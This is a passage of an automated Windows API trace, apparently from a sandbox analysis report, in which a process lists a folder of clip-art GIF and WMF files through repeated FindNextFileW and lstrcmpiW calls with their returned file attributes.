ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00038_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00040_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00052_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00057_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00057_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00090_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00090_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00092_.GIF", lpString2=".") returned 1 [0079.600] lstrcmpiW (lpString1="AG00092_.GIF", lpString2="..") returned 1 [0079.600] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0079.600] lstrcmpiW (lpString1="AG00103_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00103_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00120_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00120_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00126_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00126_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00129_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00129_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00130_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00130_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00135_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00135_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00139_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00139_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00142_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00142_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00154_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00154_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00157_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00157_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0079.601] lstrcmpiW (lpString1="AG00158_.GIF", lpString2=".") returned 1 [0079.601] lstrcmpiW (lpString1="AG00158_.GIF", lpString2="..") returned 1 [0079.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00160_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00161_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00163_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00165_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00165_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00167_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00167_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00169_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00169_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00170_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00170_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00171_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00172_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00172_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00174_.GIF", lpString2=".") returned 1 [0079.602] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="..") returned 1 [0079.602] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0079.602] lstrcmpiW (lpString1="AG00175_.GIF", lpString2=".") returned 1 [0079.603] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="..") returned 1 [0079.603] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0079.603] lstrcmpiW (lpString1="AG00176_.GIF", lpString2=".") returned 1 [0079.603] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="..") returned 1 [0079.603] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0079.603] lstrcmpiW (lpString1="AN00010_.WMF", lpString2=".") returned 1 [0079.603] lstrcmpiW (lpString1="AN00010_.WMF", lpString2="..") returned 1 [0079.603] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0079.603] lstrcmpiW (lpString1="AN00015_.WMF", lpString2=".") returned 1 [0079.603] lstrcmpiW (lpString1="AN00015_.WMF", lpString2="..") returned 1 [0079.603] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0079.603] lstrcmpiW (lpString1="AN00790_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN00790_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN00853_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN00914_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN00932_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0079.604] lstrcmpiW (lpString1="AN00965_.WMF", lpString2=".") returned 1 [0079.604] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="..") returned 1 [0079.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, 